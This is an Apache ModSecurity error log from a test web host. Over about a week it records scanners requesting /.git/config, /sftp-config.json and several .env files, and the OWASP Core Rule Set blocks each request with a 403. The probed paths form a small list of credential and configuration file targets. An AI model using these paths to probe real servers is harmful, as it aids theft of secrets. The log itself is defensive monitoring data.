[Sun May 25 23:50:29.954888 2025] [:error] [pid 3391620] [client 35.227.155.127:45992] [client 35.227.155.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDOQpTpXYtlOGxCuYEllTgAAAAE"]
[Sun May 25 23:50:29.955063 2025] [:error] [pid 3391620] [client 35.227.155.127:45992] [client 35.227.155.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDOQpTpXYtlOGxCuYEllTgAAAAE"]
[Mon May 26 16:40:22.018138 2025] [:error] [pid 3414718] [client 15.237.195.223:62000] [client 15.237.195.223] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aDR9VlhtdFV3lb57bt_-7gAAAAg"]
[Mon May 26 16:40:22.019780 2025] [:error] [pid 3414718] [client 15.237.195.223:62000] [client 15.237.195.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aDR9VlhtdFV3lb57bt_-7gAAAAg"]
[Mon May 26 16:40:22.019971 2025] [:error] [pid 3414718] [client 15.237.195.223:62000] [client 15.237.195.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aDR9VlhtdFV3lb57bt_-7gAAAAg"]
[Tue May 27 12:43:25.248865 2025] [:error] [pid 3434642] [client 13.37.108.124:58643] [client 13.37.108.124] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aDWXTfoteRZm3UET_KXSpgAAAAA"]
[Tue May 27 12:43:25.249161 2025] [:error] [pid 3434642] [client 13.37.108.124:58643] [client 13.37.108.124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aDWXTfoteRZm3UET_KXSpgAAAAA"]
[Tue May 27 12:43:25.249337 2025] [:error] [pid 3434642] [client 13.37.108.124:58643] [client 13.37.108.124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aDWXTfoteRZm3UET_KXSpgAAAAA"]
[Tue May 27 22:17:03.846316 2025] [:error] [pid 3446702] [client 92.118.39.235:49174] [client 92.118.39.235] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDYdv1eeD4jLOxUkjX3w7gAAAAk"]
[Tue May 27 22:17:03.846599 2025] [:error] [pid 3446702] [client 92.118.39.235:49174] [client 92.118.39.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDYdv1eeD4jLOxUkjX3w7gAAAAk"]
[Tue May 27 22:17:03.846785 2025] [:error] [pid 3446702] [client 92.118.39.235:49174] [client 92.118.39.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDYdv1eeD4jLOxUkjX3w7gAAAAk"]
[Wed May 28 11:37:16.891975 2025] [:error] [pid 3459459] [client 45.148.10.80:43788] [client 45.148.10.80] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDbZTKkEvPIUf5oXHHLAIAAAABs"]
[Wed May 28 11:37:16.893793 2025] [:error] [pid 3459459] [client 45.148.10.80:43788] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDbZTKkEvPIUf5oXHHLAIAAAABs"]
[Wed May 28 11:37:16.893971 2025] [:error] [pid 3459459] [client 45.148.10.80:43788] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDbZTKkEvPIUf5oXHHLAIAAAABs"]
[Wed May 28 21:42:44.093101 2025] [:error] [pid 3459394] [client 45.148.10.80:53478] [client 45.148.10.80] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDdnNPXgh5RA_21E9KOXjgAAABU"]
[Wed May 28 21:42:44.093358 2025] [:error] [pid 3459394] [client 45.148.10.80:53478] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDdnNPXgh5RA_21E9KOXjgAAABU"]
[Wed May 28 21:42:44.094037 2025] [:error] [pid 3459394] [client 45.148.10.80:53478] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDdnNPXgh5RA_21E9KOXjgAAABU"]
[Fri May 30 07:30:05.130930 2025] [:error] [pid 3513602] [client 45.148.10.80:55276] [client 45.148.10.80] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDlCXXHQYvyAzaZdiE3KMgAAAAM"]
[Fri May 30 07:30:05.131249 2025] [:error] [pid 3513602] [client 45.148.10.80:55276] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDlCXXHQYvyAzaZdiE3KMgAAAAM"]
[Fri May 30 07:30:05.131437 2025] [:error] [pid 3513602] [client 45.148.10.80:55276] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDlCXXHQYvyAzaZdiE3KMgAAAAM"]
[Mon Jun 02 06:04:57.471252 2025] [:error] [pid 3581015] [client 3.81.53.186:42224] [client 3.81.53.186] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD0i6cLSYxbEPIK-DUbvSQAAAAY"]
[Mon Jun 02 06:04:57.472814 2025] [:error] [pid 3581015] [client 3.81.53.186:42224] [client 3.81.53.186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD0i6cLSYxbEPIK-DUbvSQAAAAY"]
[Mon Jun 02 06:04:57.473022 2025] [:error] [pid 3581015] [client 3.81.53.186:42224] [client 3.81.53.186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD0i6cLSYxbEPIK-DUbvSQAAAAY"]
[Mon Jun 02 08:39:27.713019 2025] [:error] [pid 3579982] [client 198.55.98.210:60752] [client 198.55.98.210] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD1HHyJ3V4phBfpZmsrudQAAAAI"]
[Mon Jun 02 08:39:27.713344 2025] [:error] [pid 3579982] [client 198.55.98.210:60752] [client 198.55.98.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD1HHyJ3V4phBfpZmsrudQAAAAI"]
[Mon Jun 02 08:39:27.713861 2025] [:error] [pid 3579982] [client 198.55.98.210:60752] [client 198.55.98.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD1HHyJ3V4phBfpZmsrudQAAAAI"]
[Tue Jun 03 00:50:15.531651 2025] [:error] [pid 3597764] [client 185.177.72.201:26656] [client 185.177.72.201] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD4qpy7G73LMuUq7L6iKlwAAAAM"]
[Tue Jun 03 00:50:15.531991 2025] [:error] [pid 3597764] [client 185.177.72.201:26656] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD4qpy7G73LMuUq7L6iKlwAAAAM"]
[Tue Jun 03 00:50:15.532156 2025] [:error] [pid 3597764] [client 185.177.72.201:26656] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD4qpy7G73LMuUq7L6iKlwAAAAM"]
[Tue Jun 03 07:11:12.605892 2025] [:error] [pid 3602598] [client 185.177.72.210:2746] [client 185.177.72.210] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD6D8JQC8lZai1z9iiDxKgAAAAc"]
[Tue Jun 03 07:11:12.606191 2025] [:error] [pid 3602598] [client 185.177.72.210:2746] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD6D8JQC8lZai1z9iiDxKgAAAAc"]
[Tue Jun 03 07:11:12.606402 2025] [:error] [pid 3602598] [client 185.177.72.210:2746] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aD6D8JQC8lZai1z9iiDxKgAAAAc"]
[Tue Jun 03 15:53:45.489770 2025] [:error] [pid 3601620] [client 193.32.162.58:45836] [client 193.32.162.58] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aD7-afrO8TeXtHdh57EMcwAAAAI"]
[Tue Jun 03 15:53:45.490035 2025] [:error] [pid 3601620] [client 193.32.162.58:45836] [client 193.32.162.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aD7-afrO8TeXtHdh57EMcwAAAAI"]
[Tue Jun 03 15:53:45.490215 2025] [:error] [pid 3601620] [client 193.32.162.58:45836] [client 193.32.162.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aD7-afrO8TeXtHdh57EMcwAAAAI"]
[Tue Jun 03 15:53:46.152317 2025] [:error] [pid 3602598] [client 193.32.162.58:45852] [client 193.32.162.58] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aD7-apQC8lZai1z9iiDxRgAAAAc"]
[Tue Jun 03 15:53:46.152584 2025] [:error] [pid 3602598] [client 193.32.162.58:45852] [client 193.32.162.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aD7-apQC8lZai1z9iiDxRgAAAAc"]
[Tue Jun 03 15:53:46.152769 2025] [:error] [pid 3602598] [client 193.32.162.58:45852] [client 193.32.162.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aD7-apQC8lZai1z9iiDxRgAAAAc"]
[Tue Jun 03 15:53:46.800758 2025] [:error] [pid 3602599] [client 193.32.162.58:34222] [client 193.32.162.58] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aD7-ahFWFOHeQ4Yf0DZOhAAAAAg"]
[Tue Jun 03 15:53:46.801042 2025] [:error] [pid 3602599] [client 193.32.162.58:34222] [client 193.32.162.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aD7-ahFWFOHeQ4Yf0DZOhAAAAAg"]
